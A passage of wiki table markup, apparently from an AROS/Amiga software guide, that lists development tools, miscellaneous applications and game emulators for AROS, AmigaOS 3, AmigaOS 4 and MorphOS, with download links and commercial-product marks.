|&lt;!--MorphOS--&gt;[https://www.onyxsoft.se/annotate.html Annotate], 
|-
|&lt;!--Sub Menu--&gt;Repository
|&lt;!--AROS--&gt;[ Git]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;Git
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BASIC Computer Language 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/language Basic4SDL], [ Ace Basic], [ X-AMOS], [SDLBasic], [ Alvyn], 
|&lt;!--Amiga OS--&gt;[http://www.amiforce.de/main.php Amiblitz 3] with [https://github.com/AmiBlitz/AmiBlitz3 Asm src], [http://amos.condor.serverpro3.com/AmosProManual/contents/c1.html Amos Pro] with [https://github.com/AmiDARK/AmosProfessionalUnity-Official-Releases Asm src], [http://aminet.net/package/dev/basic/ace24dist ACE Basic], [https://github.com/gooofy/aqb aqb], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;sdlBasic
|-
|&lt;!--Sub Menu--&gt;Computer Languages Translation [https://tetracorp.github.io/guide/reverse-engineering-amiga.html], [https://amigasourcecodepreservation.gitlab.io/amiga-assembler-insider-guide/], [https://github.com/kermitfrog/Amiga-Re-Engineering Rust, Ghidra and FS-UAE], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://bitbucket.org/rhinoid/convert68000toc/src/main/ convert m68k seka asm-one to c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Gui Creators
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/guitool MuiBuilder], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ MuiBuilder],  
|-
|&lt;!--Sub Menu--&gt;Catalog .cd .ct Custom App Language Editors 
|&lt;!--AROS--&gt;FlexCat, [https://archives.arosworld.org/index.php?function=browse&amp;cat=utility Flexcat GUI], [], 
|&lt;!--Amiga OS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|&lt;!--AmigaOS4--&gt;[http://aminet.net/package/dev/misc/simplecat SimpleCat], FlexCat
|&lt;!--MorphOS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|-
|&lt;!--Sub Menu--&gt;Cross Development 
|&lt;!--AROS--&gt;[], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/geekychris/amiga_mcp amiga_mcp], [https://github.com/mbergmann-sh/AmigaED4-IDE AmigaED4-IDE], [https://lemonspawn.com/turbo-rascal-syntax-error-expected-but-begin/ Turbo Rascal], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Misc Application 3==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;System 
|&lt;!--AROS--&gt;[ SysExplorer], [ SysMon], [ Scout], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Terminals Shells CLIs 
|&lt;!--AROS--&gt;[https://tomaszstaniak.com/aros-term/ aros-term], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;OSK On Screen Keyboard
|&lt;!--AROS--&gt;[], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/util/wb/OSK.lha OSK]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Magnifier Magnifying Glass Magnification 
|&lt;!--AROS--&gt;[http://www.onyxsoft.se/files/zoomit.lha ZoomIT], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Comic Book CBR CBZ format reader viewer 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comics], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comicon], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Reader 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#legadon Legadon EPUB],[]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Converter 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Text to Speech tts [https://github.com/JonathanFly/bark-installer Bark], [], 
|&lt;!--AROS--&gt;[ Echo &quot; &quot; &gt;SPEAK:A1 inbuilt], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc flite], 
|&lt;!--Amiga OS--&gt;[http://www.text2speech.com translator], [https://github.com/sidick/narrator.wyoming narrator.wyoming], [], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=search&amp;tool=simple FLite]
|&lt;!--MorphOS--&gt;[http://se.aminet.net/pub/aminet/mus/misc/ FLite]
|-
|&lt;!--Sub Menu--&gt;Speech Voice Recognition Dictation - [http://sourceforge.net/projects/cmusphinx/files/ CMU Sphinx], [http://julius.sourceforge.jp/en_index.php?q=en/index.html Julius], [http://www.isip.piconepress.com/projects/speech/index.html ISIP], 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speech Voice Changer [], [], [], [], 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Display Blanker screensaver 
|&lt;!--AROS--&gt;Blanker Commodity (built in), [https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/screenblanker GarshneBlanker], [http://sourceforge.net/projects/gblanker/ GBlanker Src], [], 
|&lt;!--Amiga OS--&gt;MultiCX, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;ModernArt Blanker, 
|-
|&lt;!--Sub Menu--&gt;Fortune Cookie Quotes Sayings 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc AFortune], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 4==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Fractals mandelbrot, etc 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc], 
|&lt;!--Amiga OS--&gt;ZoneXplorer, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Landscape Rendering 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/raytrace WCS World Construction Set], 
|&lt;!--Amiga OS--&gt;[ Vista Pro], [http://en.wikipedia.org/wiki/World_Construction_Set World Construction Set]
|&lt;!--AmigaOS4--&gt;[ WCS World Construction Set],
|&lt;!--MorphOS--&gt;[ WCS World Construction Set],
|-
|&lt;!--Sub Menu--&gt;Astronomy [https://sourceforge.net/projects/skychart/ skychart freepascal], [], [], 
|&lt;!--AROS--&gt;[ Digital Almanac (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/search?query=planetarium Aminet search], [http://aminet.net/misc/sci/DA3V56ISO.zip Digital Almanac], [https://aminet.net/package/misc/sci/da3sourceV58 Src c V58], [ Galileo renamed to Distant Suns]*, [], 
|&lt;!--AmigaOS4--&gt;[http://sourceforge.net/projects/digital-almanac/ Digital Almanac], Distant Suns*, [http://www.digitaluniverse.org.uk/ Digital Universe]*,
|&lt;!--MorphOS--&gt;[http://www.aminet.net/misc/sci/da3.lha Digital Almanac], [http://www.aminet.net/package/misc/sci/da3-mos-src Src c V56], 
|-
|&lt;!--Sub Menu--&gt;Astrology [https://sourceforge.net/projects/skylendar/ skylendar], [https://github.com/CruiserOne/Astrolog Astrolog], [https://www.astrolog.org/astrolog/astfile.htm Astrology alt site], [https://saravali.github.io/download.html Maitreya], [https://github.com/alamahant/Asteria Asteria], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Genealogy History Family Tree Ancestry Records (FreeBMD, FreeREG, and FreeCEN file formats or GEDCOM GenTree)
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; [ Origins], [ Your Family Tree], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Languages 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Fun School, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;https://github.com/evil4dmin/ami2ha
|-
|&lt;!--Sub Menu--&gt;Mathematics ([http://www-fourier.ujf-grenoble.fr/~parisse/install_en.html Xcas], etc.), 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/scientific mathX] 
|&lt;!--Amiga OS--&gt;Maple V, mathX, Fun School, GCSE Maths, [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;Yacas 
|&lt;!--MorphOS--&gt;Yacas 
|-
|&lt;!--Sub Menu--&gt;Maths Graph Function Plotting
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#MUIPlot MUIPlot], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;App Utility Launcher Dock toolbar  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/docky BoingBar], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/adkennan/DockBot Dockbot],
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Printer [https://github.com/OrcaSlicer/OrcaSlicer OrcaSlicer]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PCB design
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Digital Signage
|&lt;!--AROS--&gt;Hollywood, Hollywood Designer 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;HAM radio, amateur radio, packet radio,  [], [], [], [https://cemaxecuter.com/ Dragon OS], [https://github.com/km4ack/73Linux with 73 link update], [https://www.youtube.com/watch?v=YAL5KNePRSg video for], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/punktniklas/NiKom NiKom], [https://www.amigarealm.com/amiga/amicomms/comm4.htm Comm4], [https://www.amigarealm.com/archives/comms/aarug/ TNC Terminal Node Controller with packets over serial connections on Yaesu or Woxum handheld], [https://aminet.net/comm/misc AmiCom], [ with 7Plus file encoder/decoder], [ mksstv], [ RTTYam], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;modern smart-home network like Home Assistant Automation Yellow, Green, Mosquitto, EMQX,  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/evil4dmin/ami2ha HA], [https://github.com/sidick/midge mtqq.lib], [https://aminet.net/package/comm/tcp/AmiHomeassist-0.7 AmiHomeassist], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Teaching classroom learning training [https://github.com/moodle/moodle moodle], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Games &amp; Emulation==

Some emulators/games require OpenGL to function and to adjust ahi prefs channels, frequency and unit0 and unit1 and 
[http://aros.sourceforge.net/documentation/users/shell/changetaskpri.php changetaskpri -1]

Rom patching  https://www.marcrobledo.com/RomPatcher.js/ https://www.romhacking.net/patch/ (ips, ups, bps, etc) and this other site supports the latter formats https://hack64.net/tools/patcher.php 

Free public domain roms for use with emulators can be found [http://www.pdroms.de/ here] as most of the rest are covered by copyright rules. If you like to read about old games see [http://retrogamingtimes.com/ here] and [http://www.armchairarcade.com/neo/ here] and a [http://www.vintagecomputing.com/ blog] about old computers. Possibly some of the [http://www.answers.com/topic/list-of-best-selling-computer-and-video-games best selling] of all time. [http://en.wikipedia.org/wiki/List_of_computer_system_emulators Wiki] with emulated systems list.

[https://archive.gamehistory.org/ Archive of VGHF], [https://library.gamehistory.org/ Video Game History Foundation Library search]


{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Emulation]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Games Emulation Amstrad CPC 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [ Caprice32 (OpenGL &amp; pure SDL)], [ Arnold], [https://retroshowcase.gr/cpcbox-master/], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Apple2 and 2GS
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Arcade 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Mame], [ SI Emu (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;Mame, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem xmame], amiarcadia, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 Mame], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 2600 [], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Stella], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 5200 [https://github.com/wavemotion-dave/A5200DS A5200DS], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 7800
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 400 800 130XL [https://github.com/wavemotion-dave/A8DS A8DS], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Atari800], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Lynx
|&lt;!--AROS--&gt;[http://myfreefilehosting.com/f/6366e11bdf_1.93MB Handy (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Jaguar
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Bandai Wonderswan 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation BBC Micro and Acorn Electron [http://beehttps://bem-unix.bbcmicro.com/download.html BeebEm], [http://b-em.bbcmicro.com/ B-Em], [http://elkulator.acornelectron.co.uk/ Elkulator], [http://electrem.emuunlim.com/ ElectrEm], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Dragon 32 and Tandy CoCo [http://www.6809.org.uk/xroar/ xroar], [], 
|&lt;!--AROS--&gt;[], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C16 Plus4
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C64
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Vice (ABIv0 only)], [], 
|&lt;!--Amiga OS--&gt;Frodo, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem viceplus], 
|&lt;!--MorphOS--&gt;Vice, 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore Amiga
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Janus UAE], Emumiga, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer UAE], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 UAE], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Japanese MSX MSX2 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Intelivision
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Colecovision and Adam
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Milton Bradley (MB) Vectrex [ Vectrex OpenGL], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation PICO8 Pico-8 fantasy video game console [https://github.com/egordorichev/pemsa-sdl/ pemsa-sdl], [https://github.com/jtothebell/fake-08 fake-08], [https://github.com/Epicpkmn11/fake-08/tree/wip fake-08 fork], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo Gameboy
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem vba no sound], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem vba]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo NES
|&lt;!--AROS--&gt;[ EmiNES], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Fceu], [https://github.com/takahirox/nes-js?tab=readme-ov-file nes-js], [https://github.com/bfirsh/jsnes jsnes], [https://github.com/angelo-wf/NesJs NesJs], 
|&lt;!--Amiga OS--&gt;AmiNES, [http://www.dridus.com/~nyef/darcnes/ darcNES], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem amines]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo SNES
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Zsnes], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem warpsnes]
|&lt;!--MorphOS--&gt;[http://fabportnawak.free.fr/snes/ Snes9x], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo N64 
*HLE and plugins [ mupen64], [https://github.com/ares-emulator/ares ares], [https://github.com/N64Recomp/N64Recomp N64Recomp], [https://github.com/rt64/rt64 rt64], [https://github.com/simple64/simple64 Simple64], 
*LLE [], 
|&lt;!--AROS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+],
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+], [http://aminet.net/package/misc/emu/tr-981125_src TR64], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Gamecube Wii]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Wii U]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/yuzu-emu Nintendo Switch]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation NEC PC Engine 
|&lt;!--AROS--&gt;[], [], [https://github.com/yhzmr442/jspce js-pce], 
|[http://www.hugo.fr.fm/ Hugo], [http://mednafen.sourceforge.net/ Mednafen], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem tgemu]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Master System (SMS)
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Dega], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem sms], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem osmose]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Genesis/Megadrive
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem gp no sound], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem DGen], 
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/genplus-gx/ Genplus], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem genesisplus]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Saturn 
*HLE [https://mednafen.github.io/ mednafen], [http://yabause.org/ yabause], [], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;[http://yabause.org/ Yabause], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Dreamcast 
*HLE [https://github.com/flyinghead/flycast  flycast], [https://code.google.com/archive/p/nulldc/downloads NullDC], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair ZX80 and ZX81 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair Spectrum 
|[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Fuse (crackly sound)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer SimCoupe], [ FBZX slow], [https://jsspeccy.zxdemo.org/ jsspeccy], [http://torinak.com/qaop/games qaop], 
|&lt;!--Amiga OS--&gt;[http://www.lasernet.plus.com/ Asp], [http://www.zophar.net/sinclair.html Speculator], [http://www.worldofspectrum.org/x128/index.html X128], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair QL
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/QDOS4amiga1 QDOS4amiga]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation SNK NeoGeo Pocket
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem gngeo], NeoPop, 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sony PlayStation
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem FPSE], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem FPSE]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS2]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS3]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://vita3k.org/ Sony Vita]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/shadps4-emu/shadPS4 PS4]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation [http://en.wikipedia.org/wiki/Tangerine_Computer_Systems Tangerine] Oric and Atmos 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Oricutron]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem Oricutron]
|&lt;!--MorphOS--&gt;[http://aminet.net/package/misc/emu/oricutron Oricutron]
|-
